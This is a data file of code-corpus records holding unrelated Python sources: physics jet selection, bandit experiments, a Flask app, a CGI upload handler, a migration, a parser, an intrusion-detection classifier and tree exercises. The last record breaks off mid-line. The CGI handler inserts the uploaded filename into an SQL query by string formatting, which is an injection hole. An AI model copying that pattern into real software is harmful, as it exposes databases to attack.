+{"seq_id":"539077514","text":"class JetSelector:\n    def __init__(self , era):\n        self.era = era\n        pass\n\n    def __call__(self , jets , selected_objects ):\n        self.SelectedObjs = selected_objects\n        indices = []\n        \n        for i,jet in enumerate(jets):\n            if self.SelectJet( jet , 20 , 4.7 ):\n                indices.append( i )\n\n        self.Pass = False\n        if len(indices) > 1:\n            jetindices_by_pt = sorted(  indices , key= lambda j : jets[j].pt , reverse=True)\n            #print( [ jets[i].pt for i in indices] )\n            self.LeadingJetIndex = jetindices_by_pt[0]\n            self.SubLeadingJetIndex = jetindices_by_pt[1]\n            \n            self.LeadingJet = jets[ jetindices_by_pt[0] ]\n            self.SubLeadingJet = jets[ jetindices_by_pt[1] ]\n            self.JJ = self.LeadingJet.p4() + self.SubLeadingJet.p4()\n\n            self.Pass = self.LeadingJet.pt > 50 and self.SubLeadingJet.pt > 40 and self.JJ.M() > 200 \n\n            eta1 = self.LeadingJet.p4().Eta()\n            eta2 = self.SubLeadingJet.p4().Eta()\n            self.jj_deta=abs( eta1 - eta2 )\n            self.jj_seta= eta1 + eta2\n            self.jj_dphi= self.LeadingJet.p4().DeltaPhi( self.SubLeadingJet.p4() )\n            if eta1*eta2 > 0:\n                central_eta_max = min( abs(eta1) , abs(eta2) ) - 0.2\n                central_eta_min = -1*central_eta_max\n            else:\n                central_eta_min = min( eta1 , eta2 ) + 0.2\n                central_eta_max = max( eta1 , eta2 ) - 0.2\n                \n            self.nCentJets = 0\n            self.CentralJetIndex = -1\n            self.centj_ystar = -100\n            for j in jetindices_by_pt[2:] :\n                j_p4 = jets[j].p4()\n                if central_eta_min < j_p4.Eta() < central_eta_max :\n                    self.nCentJets+=1\n                    if self.nCentJets == 1:\n                        self.CentralJetIndex = j\n                        #self.centj_pt   = j_p4.Pt();\n                        self.centj_eta  = j_p4.Eta();\n                        #self.centj_phi  = j_p4.Phi();\n                        self.centj_ystar= self.centj_eta-0.5*(eta1+eta2);\n                        \n        return indices\n\n    def SelectJet(self , jet , min_pt , max_eta):\n        pt_cut = jet.pt > min_pt\n        eta_cut = abs(jet.eta) < max_eta\n        min_dr = float('inf')\n        for obj in self.SelectedObjs:\n            dr = obj.DeltaR( jet )\n            if min_dr > dr:\n                min_dr = dr\n        loose_puid = bool( jet.puId & 4 ) or jet.pt > 50\n        othercuts = True\n        if self.era == 2017:\n            #ECAL noise (2017)\n            if 2.650<abs(jet.eta)<3.139:\n                if jet.chEmEF+jet.neEmEF > 0.55:\n                    othercuts = False\n        if self.era == 2018:\n            #HEM 15/16 issue (2018)\n            if -3.0<jet.eta<-1.3 and -1.57<jet.phi<-0.87:\n                othercuts=False\n        return pt_cut and eta_cut and min_dr > 0.4 and loose_puid and othercuts\n\n\n    def FillBranches(self):\n        self.out.fillBranch(\"VBFGamma_LeadinJet_index\", self.LeadingJetIndex )\n        self.out.fillBranch(\"VBFGamma_SubLeadinJet_index\", self.SubLeadingJetIndex )\n        self.out.fillBranch(\"VBFGamma_JJ_M\", self.JJ.M() )\n        self.out.fillBranch(\"VBFGamma_JJ_Pt\", self.JJ.Pt() )\n        self.out.fillBranch(\"VBFGamma_JJ_ScalarSum\", self.SubLeadingJet.p4().Pt()+self.LeadingJet.p4().Pt() )\n        self.out.fillBranch(\"VBFGamma_JJ_Phi\", self.JJ.Phi() )\n        self.out.fillBranch(\"VBFGamma_JJ_Eta\", self.JJ.Eta() )\n        self.out.fillBranch(\"VBFGamma_JJ_DPhi\", self.jj_dphi )\n        self.out.fillBranch(\"VBFGamma_JJ_SEta\", self.jj_seta )\n        self.out.fillBranch(\"VBFGamma_JJ_DEta\", self.jj_deta )\n        self.out.fillBranch(\"VBFGamma_nCentJets\", self.nCentJets )\n        self.out.fillBranch(\"VBFGamma_CentJet_Index\", self.CentralJetIndex )\n        self.out.fillBranch(\"VBFGamma_CentJet_YStar\", self.centj_ystar )\n        \n    def MakeBranches(self, out):\n        self.out = out\n        self.out.branch(\"VBFGamma_LeadinJet_index\", \"I\" )\n        self.out.branch(\"VBFGamma_SubLeadinJet_index\", \"I\" )\n        self.out.branch(\"VBFGamma_JJ_M\", \"F\" )\n        self.out.branch(\"VBFGamma_JJ_Pt\", \"F\" )\n        self.out.branch(\"VBFGamma_JJ_ScalarSum\", \"F\" )\n        self.out.branch(\"VBFGamma_JJ_Phi\", \"F\" )\n        self.out.branch(\"VBFGamma_JJ_Eta\", \"F\" )\n        self.out.branch(\"VBFGamma_JJ_DPhi\", \"F\" )\n        self.out.branch(\"VBFGamma_JJ_SEta\", \"F\" )\n        self.out.branch(\"VBFGamma_JJ_DEta\", \"F\" )\n        self.out.branch(\"VBFGamma_nCentJets\", \"I\" )\n        self.out.branch(\"VBFGamma_CentJet_Index\", \"I\" )\n        self.out.branch(\"VBFGamma_CentJet_YStar\", \"F\" )\n        \n        \n","sub_path":"python/postprocessing/vbfgamma/JetSelector.py","file_name":"JetSelector.py","file_ext":"py","file_size_in_byte":4698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"249461808","text":"import numpy as np\r\nimport pandas as pd \r\nimport matplotlib.pyplot as plt\r\nimport networkx as nx \r\nimport os\r\nos.chdir('C:/Kaige_Research/Graph Learning/graph_learning_code/')\r\nfrom collections import Counter\r\nimport datetime\r\nfrom synthetic_data import *\r\nfrom gl_MAB import GL_MAB\r\nfrom knn_MAB import KNN_MAB\r\nfrom cd_MAB import CD_MAB\r\nfrom linucb_MAB import LINUCB_MAB\r\nfrom sklearn.metrics.pairwise import rbf_kernel\r\npath='C:/Kaige_Research/Graph Learning/graph_learning_code/results/'\r\ntimeRun = datetime.datetime.now().strftime('_%m_%d_%H_%M_%S') \r\n\r\nuser_num=20\r\nitem_num=1000\r\ndimension=5\r\nitem_pool_size=5\r\ncluster_num=4\r\ncluster_std=0.1\r\nnoise_scale=0.1\r\ngl_alpha=1\r\ngl_beta=0.2\r\ngl_theta=0.01\r\ngl_step_size=0.5\r\njump_step=10\r\nalpha=0.05\r\niteration=2000\r\n\r\nnewpath=path+'GL_user_num_%s_cluster_num_%s'%(user_num, cluster_num)+'/'+str(timeRun)+'/'\r\nif not os.path.exists(newpath):\r\n\t    os.makedirs(newpath)\r\n\r\nuser_pool=generate_all_random_users(iteration, user_num)\r\nitem_pools=generate_all_article_pool(iteration, item_pool_size, item_num)\r\n\r\ncombination_list=[]\r\nregret_dict={}\r\nlearning_error_dict={}\r\ngraph_error_dict={}\r\ndenoised_signal_dict={}\r\nadj_dict={}\r\n\r\n\r\nnoisy_signal, item_features, true_user_features, true_label=blob_data(user_num, item_num, dimension, cluster_num, cluster_std, noise_scale)\r\ntrue_adj=rbf_kernel(true_user_features)\r\nnp.fill_diagonal(true_adj,0)\r\n\r\ngl_mab_1=GL_MAB(user_num, item_num, dimension, item_pool_size, alpha, gl_alpha, gl_beta, gl_theta, gl_step_size, jump_step=jump_step, mode=1,  true_user_features=true_user_features, true_graph=true_adj)\r\ngl_cum_regret_1, gl_adj_1, gl_user_f_1, gl_error_1, gl_graph_error_1, gl_denoised_signal_1=gl_mab_1.run(user_pool, item_pools, item_features, noisy_signal, iteration)\r\n\r\n\r\ngl_mab_2=GL_MAB(user_num, item_num, dimension, item_pool_size, alpha, gl_alpha, gl_beta, gl_theta, gl_step_size, jump_step=jump_step, mode=2,  true_user_features=true_user_features, true_graph=true_adj)\r\ngl_cum_regret_2, gl_adj_2, gl_user_f_2, gl_error_2, gl_graph_error_2, gl_denoised_signal_2=gl_mab_2.run(user_pool, item_pools, item_features, noisy_signal, iteration)\r\n\r\n\r\ngl_mab_3=GL_MAB(user_num, item_num, dimension, item_pool_size, alpha, gl_alpha, gl_beta, gl_theta, gl_step_size, jump_step=jump_step, mode=3,  true_user_features=true_user_features, true_graph=true_adj)\r\ngl_cum_regret_3, gl_adj_3, gl_user_f_3, gl_error_3, gl_graph_error_3, gl_denoised_signal_3=gl_mab_3.run(user_pool, item_pools, item_features, noisy_signal, iteration)\r\n\r\nplt.plot(gl_cum_regret_1, label='Mode 1')\r\nplt.plot(gl_cum_regret_2, label='Mode 2')\r\nplt.plot(gl_cum_regret_3, label='Mode 3')\r\nplt.legend(loc=2)\r\nplt.title('regret')\r\nplt.show()\r\n\r\n\r\nplt.plot(gl_error_1, label='Mode 1')\r\nplt.plot(gl_error_2, label='Mode 2')\r\nplt.plot(gl_error_3, label='Mode 3')\r\nplt.legend(loc=2)\r\nplt.title('learning error')\r\nplt.show()\r\n\r\n\r\nplt.plot(gl_graph_error_1, label='Mode 1')\r\nplt.plot(gl_graph_error_2, label='Mode 2')\r\nplt.plot(gl_graph_error_3, label='Mode 3')\r\nplt.legend(loc=2)\r\nplt.title('graph error')\r\nplt.show()\r\n\r\n\r\n\r\n## save data\r\nkey=noise_scale\r\ncombination_list.extend([key])\r\nregret_dict[key]=gl_cum_regret\r\nlearning_error_dict[key]=gl_error\r\ndenoised_signal_dict[key]=gl_denoised_signal\r\ngraph_error_dict[key]=gl_graph_error\r\nadj_dict[key]=gl_adj\r\n\r\nnp.save(newpath+'combination_list'+'.npy', combination_list)\r\nnp.save(newpath+'regret_dict'+'.npy', regret_dict)\r\nnp.save(newpath+'learning_error_dict'+'.npy', learning_error_dict)\r\nnp.save(newpath+'denoised_signal_dict'+'.npy', denoised_signal_dict)\r\nnp.save(newpath+'adj_dict'+'.npy', adj_dict)\r\nnp.save(newpath+'graph_error_dict'+'.npy', graph_error_dict)\r\n\r\n\r\n\r\nplt.figure()\r\nplt.plot(gl_cum_regret, label='GL')\r\nplt.ylabel('Cum Regret', fontsize=12)\r\nplt.legend(loc=1)\r\nplt.show()\r\n\r\nplt.figure()\r\nplt.plot(gl_error, label='GL')\r\nplt.ylabel('Learning Error', fontsize=12)\r\nplt.legend(loc=1)\r\nplt.show()\r\n\r\nplt.figure()\r\nplt.plot(gl_graph_error, label='GL')\r\nplt.ylabel('graph Error', fontsize=12)\r\nplt.legend(loc=1)\r\nplt.show()\r\n\r\n\r\n\r\n\r\npos=true_user_features\r\nfig, (ax1, ax2)=plt.subplots(1,2, figsize=(6,3))\r\nax1.scatter(pos[:,0], pos[:,1], c=noisy_signal[0].tolist(), cmap=plt.cm.jet)\r\nax2.scatter(pos[:,0], pos[:,1], c=gl_denoised_signal[0].tolist(), cmap=plt.cm.jet)\r\nax1.axis('off')\r\nax2.axis('off')\r\nax1.set_title('Noisy Signal')\r\nax2.set_title('GL Signal')\r\nplt.tight_layout()\r\nplt.show()\r\n\r\ntest_item=np.random.normal(size=dimension)\r\ntrue_payoff=np.dot(true_user_features, test_item)\r\ngl_payoff=np.dot(gl_user_f, test_item)\r\n\r\npos=true_user_features\r\ngraph=create_networkx_graph(user_num, true_adj)\r\nedge_color=true_adj[np.triu_indices(user_num,1)]\r\nplt.figure(figsize=(5,5))\r\nnodes=nx.draw_networkx_nodes(graph, pos, node_color=true_payoff, node_size=100, cmap=plt.cm.jet)\r\nedges=nx.draw_networkx_edges(graph, pos, width=1.0, alpha=0.1, edge_color='grey')\r\nplt.axis('off')\r\nplt.title('True Graph', fontsize=12)\r\nplt.show()\r\n\r\n\r\npos=true_user_features\r\ngraph=create_networkx_graph(user_num, gl_adj)\r\nedge_color=gl_adj[np.triu_indices(user_num,1)]\r\nplt.figure(figsize=(5,5))\r\nnodes=nx.draw_networkx_nodes(graph, pos, node_color=gl_payoff, node_size=100, cmap=plt.cm.jet)\r\nedges=nx.draw_networkx_edges(graph, pos, width=1.0, alpha=0.1, edge_color='grey')\r\nplt.axis('off')\r\nplt.title('GL Graph', fontsize=12)\r\nplt.show()\r\n","sub_path":"run_gl_MAB.py","file_name":"run_gl_MAB.py","file_ext":"py","file_size_in_byte":5352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"187633130","text":"from flask import Flask, render_template, request, redirect\nfrom flask_sqlalchemy import SQLAlchemy\nfrom datetime import datetime\nfrom pkk import genre_classifier\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.db'\ndb = SQLAlchemy(app)\n\n\nclass story(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    title = db.Column(db.String(200), nullable=False)\n    content = db.Column(db.String(90000), nullable=False)\n    date_created = db.Column(db.DateTime, default=datetime.utcnow)\n    action = db.Column(db.Integer, default=0)\n    adv = db.Column(db.Integer, default=0)\n    comedy = db.Column(db.Integer, default=0)\n    crime = db.Column(db.Integer, default=0)\n    doc = db.Column(db.Integer, default=0)\n    drama = db.Column(db.Integer, default=0)\n    fam = db.Column(db.Integer, default=0)\n    fantasy = db.Column(db.Integer, default=0)\n    history = db.Column(db.Integer, default=0)\n    horror = db.Column(db.Integer, default=0)\n    mystery = db.Column(db.Integer, default=0)\n    romance = db.Column(db.Integer, default=0)\n    scifi = db.Column(db.Integer, default=0)\n    thriller = db.Column(db.Integer, default=0)\n    war = db.Column(db.Integer, default=0)\n    \n    def __repr__(self):\n        return '<Task %r>' % self.id\n\n\n\n@app.route('/')\ndef index():\n    return render_template('index.html')\n\n@app.route('/write', methods=['POST','GET'])\ndef write():\n    if request.method == 'POST':\n        story_content = request.form['message']\n        story_title = request.form['name']\n        genres = genre_classifier(story_content)\n        drama1=0\n        comedy1=0\n        adv1=0\n        history1=0\n        war1=0\n        thriller1=0\n        crime1=0\n        fantasy1=0\n        horror1=0\n        fam1=0\n        doc1=0\n        mystery1=0\n        romance1=0\n        scifi1=0\n        action1=0\n        for i in genres:\n            if (i=='Drama'):\n                drama1=1\n            elif (i=='Comedy'):\n                comedy1=1\n            elif (i=='Adventure'):\n                adv1=1\n            elif (i=='History'):\n                history1=1\n            elif (i=='War'):\n                war1=1\n            elif (i=='Thriller'):\n                thriller1=1\n            elif (i=='Crime'):\n                crime1=1\n            elif (i=='Fantasy'):\n                fantasy1=1\n            elif (i=='Horror'):\n                horror1=1\n            elif (i=='Family'):\n                fam1=1\n            elif (i=='Documentary'):\n                doc1=1\n            elif (i=='Mystery'):\n                mystery1=1\n            elif (i=='Romance'):\n                romance1=1\n            elif (i=='ScienceFiction'):\n                scifi1=1\n            elif (i=='Action'):\n                action1=1\n        new_story = story(content=story_content, title=story_title, action=action1, adv=adv1, comedy=comedy1, crime=crime1, doc=doc1, drama=drama1, fam=fam1, fantasy=fantasy1, history=history1, horror=horror1, mystery=mystery1, romance=romance1, scifi=scifi1, thriller=thriller1, war=war1)\n        #try:\n        db.session.add(new_story)\n        db.session.commit()\n        return render_template('write.html',genres=genres)\n        #except:\n            #return 'There was an issue adding your story.'\n    else:\n        \n        return render_template('write.html')\n\n@app.route('/read')\ndef read():\n    stories = story.query.order_by(story.date_created).all()\n    return render_template('read.html', stories=stories)\n\n@app.route('/delete/<int:id>')\ndef delete(id):\n    story_to_delete = story.query.get_or_404(id)\n\n    try:\n        db.session.delete(story_to_delete)\n        db.session.commit()\n        return redirect('/read')\n    except:\n        return 'There was a problem deleting that story.'\n\nif __name__ ==\"__main__\":\n    app.run(debug=True)\n\n","sub_path":"app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"275225530","text":"import cgi, config\nimport os, cgitb, random\ncgitb.enable()\n#print(random.random())\n\ntry: # Windows needs stdio set for binary mode.\n    import msvcrt\n    msvcrt.setmode (0, os.O_BINARY) # stdin  = 0\n    msvcrt.setmode (1, os.O_BINARY) # stdout = 1\nexcept ImportError:\n    pass\n\nfrm = cgi.FieldStorage()\n# Generator to buffer file chunks\ndef fbuffer(f, chunk_size=10000):\n    while True:\n        chunk = f.read(chunk_size)\n        if not chunk:\n            break\n        yield chunk\n# A nested FieldStorage instance holds the file\nfileitem = frm[\"image\"]\n#about=form.getvalue('about')\n# Test if the file was uploaded\nif fileitem.filename:\n    # strip leading path from file name to avoid directory traversal attacks\n    fn = os.path.basename(fileitem.filename)\n    mfn=str(random.random())+fn\n    fpath = 'uploaded_files/' + mfn\n    f = open('Final_Project/' + fpath, 'wb', 10000)\n    # Read the file in chunks\n    for chunk in fbuffer(fileitem.file):\n        f.write(chunk)\n    f.close()\n    cursor=config.db.cursor()\n    sql=\"INSERT INTO fpic (fname,fpath) VALUES ('{}','{}')\".format(mfn,fpath)\n    if cursor.execute(sql):\n        config.db.commit()\n        config.db.close()\n        print('''<script>\n        window.location=\"fsell1.py?msg=File Uploaded successfully\"\n        </script>''')\n    else:\n        print('''<script>\n                window.location=\"fsell1.py?msg=File not Uploaded successfully\"\n        </script>''')\nelse:\n    print('''File was not uploaded''')\n    #msg = 'The file \"' + os.path.basename(fileitem.filename) + '\" was not uploaded successfully'\n\n","sub_path":"Final_Project/fpicture_code1.py","file_name":"fpicture_code1.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"376330574","text":"\"\"\"update\n\nRevision ID: a117f99c2ada\nRevises: d9f6f5316717\nCreate Date: 2017-11-22 21:11:00.180065\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a117f99c2ada'\ndown_revision = 'd9f6f5316717'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('deposit', sa.Column('memo', sa.String(length=64), nullable=True))\n    op.add_column('user', sa.Column('address', sa.String(length=255), nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('user', 'address')\n    op.drop_column('deposit', 'memo')\n    # ### end Alembic commands ###\n","sub_path":"migrations/versions/a117f99c2ada_update.py","file_name":"a117f99c2ada_update.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"73758785","text":"# -*- coding: utf-8 -*-\n###########################################################################\n# Copyright (c), The AiiDA team. All rights reserved.                     #\n# This file is part of the AiiDA code.                                    #\n#                                                                         #\n# The code is hosted on GitHub at https://github.com/aiidateam/aiida_core #\n# For further information on the license, see the LICENSE.txt file        #\n# For further information please visit http://www.aiida.net               #\n###########################################################################\nfrom aiida_nwchem.parsers import BasenwcParser\nfrom aiida_nwchem.calculations.nwcpymatgen import NwcpymatgenCalculation\nfrom aiida.orm.data.parameter import ParameterData\n\n\nclass NwcpymatgenParser(BasenwcParser):\n    \"\"\"\n    Parser for the output of NWChem, using pymatgen.\n    \"\"\"\n    def __init__(self, calc):\n        \"\"\"\n        Initialize the instance of NwcpymatgenParser\n        \"\"\"\n        # check for valid input\n        self._check_calc_compatibility(calc)\n        super(NwcpymatgenParser, self).__init__(calc)\n\n    def _check_calc_compatibility(self, calc):\n        from aiida.common.exceptions import ParsingError\n        if not isinstance(calc, NwcpymatgenCalculation):\n            raise ParsingError(\"Input calc must be a NwcpymatgenCalculation\")\n\n    def _get_output_nodes(self, output_path, error_path):\n        \"\"\"\n        Extracts output nodes from the standard output and standard error\n        files.\n        \"\"\"\n        from pymatgen.io.nwchem import NwOutput\n        from aiida.orm.data.structure import StructureData\n        from aiida.orm.data.array.trajectory import TrajectoryData\n\n        ret_dict = []\n        nwo = NwOutput(output_path)\n        for out in nwo.data:\n            molecules = out.pop('molecules', None)\n            structures = out.pop('structures', None)\n            if molecules:\n                structlist = [StructureData(pymatgen_molecule=m)\n                              for m in molecules]\n                ret_dict.append(('trajectory',\n                                 TrajectoryData(structurelist=structlist)))\n            if structures:\n                structlist = [StructureData(pymatgen_structure=s)\n                              for s in structures]\n                ret_dict.append(('trajectory',\n                                 TrajectoryData(structurelist=structlist)))\n            ret_dict.append(('output', ParameterData(dict=out)))\n\n        # Since ParameterData rewrites it's properties (using _set_attr())\n        # with keys from the supplied dictionary, ``source`` has to be\n        # moved to another key. See issue #9 for details:\n        # (https://bitbucket.org/epfl_theos/aiida_epfl/issues/9)\n        nwo.job_info['program_source'] = nwo.job_info.pop('source', None)\n        ret_dict.append(('job_info', ParameterData(dict=nwo.job_info)))\n        \n        return ret_dict\n","sub_path":"aiida_nwchem/parsers/nwcpymatgen.py","file_name":"nwcpymatgen.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"129663955","text":"from arff2pandas import a2p\nfrom sklearn import tree\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score, classification_report\nfrom sklearn.feature_selection import SelectFromModel\nimport pandas as pd\nimport pydotplus\n\n\n# considering dataset, this def just return header-based features plus class\ndef dataset_header_features_only(path):\n\twith open('../dataset/' + path) as f:\n\t\tdf = a2p.load(f)\n\t\t# just using header-based features\n\t\tdf1 = pd.concat([df.iloc[:,0:20], df.iloc[:, len(df.columns)-1]], axis=1)\n\treturn df1\n\ndef main():\n\t# create a Pandas Dataframe with Training Dataset\n\tpd_train = dataset_header_features_only('probe_attack_known_train.arff')\n\t#pd_train.append(dataset_header_features_only('probe_known_service_content_train.arff'))\n\t#pd_train.append(dataset_header_features_only('probe_known_service_train.arff'))\n\td = {'attack': 1, 'normal': 0}\n\tpd_train['class@{normal,attack}'] = pd_train['class@{normal,attack}'].map(d)\n\tX = pd_train[list(pd_train.columns[:len(pd_train.columns)-2])]\n\tY = pd_train['class@{normal,attack}']\n\t\n\t\n\t# create a Pandas Dataframe with Validation Dataset\n\tpd_validation = dataset_header_features_only('probe_attack_known_validation.arff')\n\t#pd_validation.append(dataset_header_features_only('probe_known_service_content_test.arff'))\n\t#pd_validation.append(dataset_header_features_only('probe_known_service_test.arff'))\n\tpd_validation['class@{normal,attack}'] = pd_validation['class@{normal,attack}'].map(d)\n\tX_test = pd_validation[list(pd_validation.columns[:len(pd_validation.columns)-2])]\n\tY_test = pd_validation['class@{normal,attack}']\n\n\tclf = DecisionTreeClassifier(max_depth=3)\n\ttry:\n\t\tprint(X.shape)\n\t\tclf = clf.fit(X, Y)\n\t\tprint(accuracy_score(Y_test, clf.predict(X_test)))\n\t\tmodel = SelectFromModel(clf, prefit=True)\n\t\tfeature_idx = model.get_support()\n\t\tfeature_name = pd_train[list(pd_train.columns[:len(pd_train.columns)-2])].columns[feature_idx]\n\t\tprint(feature_name)\n\t\tX = model.transform(X)\n\t\tprint(X.shape)\n\t\tclf = clf.fit(X, Y)\n\texcept ValueError as e:\n\t\tprint(e)\n\n\ttry:\n\t\tY_prediction = clf.predict(X_test[feature_name])\n\t\tprint(accuracy_score(Y_test, Y_prediction))\n\t\tprint(classification_report(Y_test, Y_prediction))\n\t\tdot_data = tree.export_graphviz(clf, out_file=None, feature_names=feature_name,class_names=['normal','attack'])\n\t\tgraph = pydotplus.graph_from_dot_data(dot_data)\n\t\tgraph.write_png(\"optmized_ids_dt.png\")\n\texcept ValueError as e:\n\t\tprint(e)\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"ml/src/decision_tree_optimized.py","file_name":"decision_tree_optimized.py","file_ext":"py","file_size_in_byte":2500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"365355576","text":"# https://www.geeksforgeeks.org/check-for-children-sum-property-in-a-binary-tree/\nclass newNode: \n  \n    # Construct to create a new node \n    def __init__(self, key): \n        self.data = key\n        self.left = None\n        self.right = None\n  \ndef isSumProperty(node: newNode):\n    left = right = 0\n    if not node.left and node.right:\n        return node.data\n    if node.left:\n        left = isSumProperty(node.left)\n    if node.right:\n        right = isSumProperty(node.right)\n    node.data = left + right + node.data\n    return node.data\n# Driver Code \nif __name__ == '__main__':\n    root = newNode(50)\n    root.left     = newNode(7)\n    root.right     = newNode(2)\n    root.left.left = newNode(3)\n    root.left.right = newNode(5)\n    root.right.left = newNode(1)\n    root.right.right = newNode(30)\n  \n    isSumProperty(root)\n\n","sub_path":"problems/convert_to_sum_tree.py","file_name":"convert_to_sum_tree.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"559988478","text":"import numpy as np\n\ndef create_data_np(filepath1, filepath2):\n    \n    x = np.genfromtxt(filepath1, dtype=None, encoding='UTF-8')\n    t = np.genfromtxt(filepath2, dtype=None, encoding='UTF-8')\n\n    return x, np.int_(t)\n\ndef filename_generation(path, i):\n    train_x_filepath = path + \"x_{}.csv\".format(i) \n    train_y_filepath = path + \"y_{}.csv\".format(i)\n    test_x_filepath = path + \"test_x_{}.csv\".format(i)\n    test_y_filepath = path + \"test_y_{}.csv\".format(i)\n\n    return train_x_filepath, train_y_filepath, test_x_filepath, test_y_filepath\n\ndef filename_generation2(path, i):\n    train_x_filepath = path + \"data_banknote_training_x_{}.csv\".format(i) \n    train_y_filepath = path + \"data_banknote_training_y_{}.csv\".format(i)\n    test_x_filepath = path + \"data_banknote_testing_x_{}.csv\".format(i)\n    test_y_filepath = path + \"data_banknote_testing_y_{}.csv\".format(i)\n\n    return train_x_filepath, train_y_filepath, test_x_filepath, test_y_filepath","sub_path":"Assignment_3_20180396/Codes/App/data_import.py","file_name":"data_import.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"279418477","text":"\"\"\"Given the root to a binary tree, implement serialize(root), which serializes the tree\ninto a string, and deserialize(s), which deserializes the string back into the tree.\n\nFor example, given the following Node class\n\nclass Node:\n    def __init__(self, val, left=None, right=None):\n        self.val = val\n        self.left = left\n        self.right = right\nThe following test should pass:\n\nnode = Node('root', Node('left', Node('left.left')), Node('right'))\nassert deserialize(serialize(node)).left.left.val == 'left.left'`\n\"\"\"\nimport re\nimport math\nfrom collections import deque\n\nclass Node:\n    def __init__(self, val, left=None, right=None):\n        self.val = val\n        self.left = left\n        self.right = right\n\ndef deserialize_tree(serial):\n    def get_deliminators(serial):\n        delim_pattern = r'^(.*)(.*?)\\1(.*?)\\1'\n        delim_regex = re.compile(delim_pattern, re.DOTALL)\n        deliminator_tuple = delim_regex.findall(serial)[0]\n        return deliminator_tuple\n\n    root = None\n    delim_delim, val_delim, childless_delim = get_deliminators(serial)\n    full_tree_count = serial.count(val_delim)\n    levels = int(math.log(full_tree_count, 2)//1)\n\n    # move index to begining of data\n    index = len(delim_delim)*3 + len(val_delim) + len(childless_delim)\n\n    # read data, create nodes and add them into a list of lists depending on\n    # which level it belongs\n    all_level_nodes = []\n    for i in range(levels+1):\n        level_nodes = []\n        for j in range(2**i):\n            end = index+1\n            while end < len(serial) and not serial[end].startswith(val_delim):\n                end += 1\n            val = '' if val_delim in serial[index:end] else serial[index:end]\n            level_nodes.append(Node(val) if val != childless_delim else childless_delim)\n            index = index + 1 if val_delim in serial[index:end] else end + len(val_delim)\n        all_level_nodes.append(level_nodes)\n\n    # connect parents to children\n    i = 0\n\n    while i < len(all_level_nodes) - 1:\n        cnt = 0\n        for nd in all_level_nodes[i]:\n            if nd != childless_delim:\n                nd.left=all_level_nodes[i+1][cnt] if all_level_nodes[i+1][cnt] != childless_delim else None\n                nd.right=all_level_nodes[i+1][cnt+1] if all_level_nodes[i+1][cnt+1] != childless_delim else None\n                cnt += 2\n            else:\n                cnt += 1\n        i += 1\n\n    # set leave children to None\n    for nd in all_level_nodes[-1]:\n        if nd != childless_delim:\n            nd.left = None\n            nd.right = None\n\n    return all_level_nodes[0][0]\n\ndef serialize_tree(head):\n    \"\"\"serialize tree given head. Returns a string.\"\"\"\n    def get_dictionary_from_tree(head):\n        dictionary = set()\n        Q = deque([head])\n        while Q:\n            current_node = Q.popleft()\n            dictionary.add(current_node.val)\n            if current_node.left:\n                Q.append(current_node.left)\n\n            if current_node.right:\n                Q.append(current_node.right)\n        return dictionary\n\n    # TODO: can get a way with only using 2 delims.\n    def get_delims(head, dictionary, count=1):\n        \"\"\"find unique delimators, given tree head and a dictionary of the data words\n        returns count number of deliminators\"\"\"\n        # Assuming input data set will never contain all utf-8 chars (up to N - count utf-8 chars\n        # can be in the data. If this assumption fails, then this function needs to expand to\n        # create deliminators of length greater than 1) in one tree.\n\n        found = []\n        point_list = [ord(char) for word in dictionary for char in word]\n        point_list.sort()\n        # check for unused characters in utf-8 between used chars. \n        ind = 0\n        while len(found) < count and ind < len(point_list)-1:\n            if point_list[ind+1] - point_list[ind] > 1:\n                offset = 1\n                while point_list[ind] + offset < point_list[ind+1] and len(found) < count:\n                    found.append(chr(point_list[ind] + offset))\n                    offset += 1\n            ind += 1\n\n        # gather remaining unused chars by offseting from last (greatest point value) char used\n        base = point_list[-1] if point_list else ord('#') - 1\n        offset = 1\n        while len(found) < count:\n            found.append(chr(base + offset))\n            offset += 1\n        return tuple(found)\n\n    dictionary = get_dictionary_from_tree(head)\n    val_delim, childless_delim, delim_delim = get_delims(head, dictionary, count=3)\n    serial = ''.join([delim_delim, val_delim,\n                      delim_delim,\n                      childless_delim,\n                      delim_delim,\n                      head.val,\n                      val_delim])\n    Q = deque([head])\n    while Q:\n        current_node = Q.popleft()\n        if current_node.left:\n            serial += ''.join([current_node.left.val, val_delim])\n            Q.append(current_node.left)\n        else:\n            serial += ''.join([childless_delim, val_delim])\n\n        if current_node.right:\n            serial += ''.join([current_node.right.val, val_delim])\n            Q.append(current_node.right)\n        else:\n            serial += ''.join([childless_delim, val_delim])\n    return serial\n\ndef print_tree(head):\n    Q = deque([head])\n    while Q:\n        curr = Q.popleft()\n        print(\"{}\\n\".format(curr.val))\n        if curr.left:\n            Q.append(curr.left)\n        if curr.right:\n            Q.append(curr.right)\n\n\nNODES = [Node('root', Node('left', Node('left.left')), 